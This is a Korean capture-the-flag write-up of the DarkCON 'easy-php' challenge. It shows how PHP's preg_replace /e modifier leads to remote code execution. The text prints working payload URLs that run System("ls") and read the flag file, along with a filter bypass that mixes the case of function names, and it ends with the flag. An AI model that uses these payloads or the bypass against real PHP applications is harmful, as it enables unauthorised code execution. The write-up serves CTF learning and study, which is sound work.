문제 유형
•
Server : PHP
•
Vulnerability : RCE
문제 정보 확인
별 다른 내용은 없다.
문제에 접속하면 Welcome DarkCON CTF !! 라는 메세지만 출력되고 별 기능이 없다.
Request 패킷, Response 패킷에도 문제를 풀기 위한 중요한 내용이 없었다.
그래서 robots.txt, sitemap.xml 파일이 존재하는지 확인하였고, robots.txt 파일이 존재하는 것을 확인할 수 있었다. 이를 통해 ?lmao 라는 경로를 확인할 수 있었다.
/?lmao 경로로 이동하면 아래와 같이 소스코드를 확인할 수 있다.
?lmao 경로에 존재하는 소스코드 분석
소스코드를 보니 처음에 문제에 접속하였을 때 출력되는 메시지와 관련된 소스코드인 것을 알 수 있다. 파라미터 값을 얻어와 preg_replace 함수를 사용하여 기본적으로 출력되는 메세지를 다른 값으로 변경한다.
•
nic3 파라미터 값 : preg_replace 함수에 사용되는 정규식
•
bruh 파라미터 값 : preg_replace 함수에 사용되는 인자
<?php
require_once 'config.php';
$text = "Welcome DarkCON CTF !!";
if (isset($_GET['lmao'])) {
highlight_file(__FILE__);
exit;
}
else {
$payload = $_GET['bruh'];
if (isset($payload)) {
# $payload 값 필터링
if (is_payload_danger($payload)) {
die("Amazing Goob JOb You :) ");
}
else {
# 기본적으로 출력되는 메세지를 입력한 정규식에 따라 변경
echo preg_replace($_GET['nic3'], $payload, $text);
}
}
echo $text;
}
?>
PHP
복사
취약점 분석
이전 소스코드에서 확인한 preg_replace 함수는 치명적인 취약점을 가지고 있다.
바로 /e 옵션 을 사용하면 치환될 문자를 php 코드 그대로 해석되기 때문에, RCE 취약점이 발생할 수 있다.
즉 아래의 예시처럼 특정 문자를 원하는 함수로 변경하여 실행이 가능하다는 의미이다.
# DarkCON 문자가 phpinfo() 글자로 변경되며, /e 옵션으로 인해 함수로 실행된다.
echo preg_replace('/DarkCON/e', 'phpinfo()', $text);
-> http://easy-php.darkarmy.xyz/?nic3=/DarkCON/e&bruh=phpinfo()
PHP
복사
우리가 원하는 것은 FLAG이기 때문에, 시스템 명령어를 사용하여 파일을 찾아보았다.
하지만 is_payload_danger 함수로 인해 작동이 되지 않았다.
echo preg_replace('/DarkCON/e', 'system("ls")', $text);
-> http://easy-php.darkarmy.xyz/?nic3=/DarkCON/e&bruh=system("ls")
PHP
복사
exec 와 같이 시스템 명령어를 사용할 수 있는 여러 함수를 사용해 보았지만, 필터링에 의해 동작하지 않았다.
우회 방법은 아래 사이트를 많이 참고 하였다.
하지만, 함수 명을 system → System / exec → Exec 와 같이 대문자를 섞어 사용하니 정상적으로 동작하였다.
이를 통해 flag210d9f88fd1db71b947fbdce22871b57.php 이라는 수상한 파일을 확인할 수 있었다.
echo preg_replace('/DarkCON/e', 'System("ls")', $text);
http://easy-php.darkarmy.xyz/?nic3=/DarkCON/e&bruh=System(%22ls%22)
PHP
복사
확인한 flag210d9f88fd1db71b947fbdce22871b57.php 파일을 동일한 방법으로 내용을 확인하면 FLAG를 확인할 수 있다.
echo preg_replace('/DarkCON/e', 'System("cat flag210d9f88fd1db71b947fbdce22871b57.php")', $text);
-> http://easy-php.darkarmy.xyz/?nic3=/DarkCON/e&bruh=System(%22cat%20flag210d9f88fd1db71b947fbdce22871b57.php%22)
PHP
복사
FLAG
darkCON{w3lc0me_D4rkC0n_CTF_2O21_ggwp!!!!}